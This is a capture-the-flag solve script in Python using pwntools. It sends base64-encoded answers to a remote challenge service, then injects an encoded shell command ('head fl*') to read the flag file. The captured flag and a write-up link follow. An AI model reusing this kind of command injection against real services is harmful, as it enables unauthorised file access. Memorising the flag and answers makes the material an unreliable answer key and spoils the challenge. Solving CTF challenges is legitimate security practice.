#!/usr/bin/python2.7

from pwn import *
import base64

conn = remote("110.10.212.138",19091)

# stage 1
conn.recvuntil("Input >")
conn.sendline("TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA") # N0_m4n_c4l1_ag4in_Y3st3rd4y:( + \x00

# stage 2
conn.recvuntil("Input 1")
conn.sendline("TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA")
conn.recvuntil("Input 2")
conn.sendline("TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA=")

# stage 3
conn.recvuntil("Input >")
conn.sendline(base64.encodestring("head fl*"))
conn.interactive()

# FLAG{Nav3r_L3t_y0ur_L3ft_h4nd_kn0w_wh4t_y0ur_r1ghT_h4nd5_H4ck1ng}

Original writeup (https://gist.github.com/GeoffreyVDB/2aecc1f01aafbf0275cec2e614b87df6).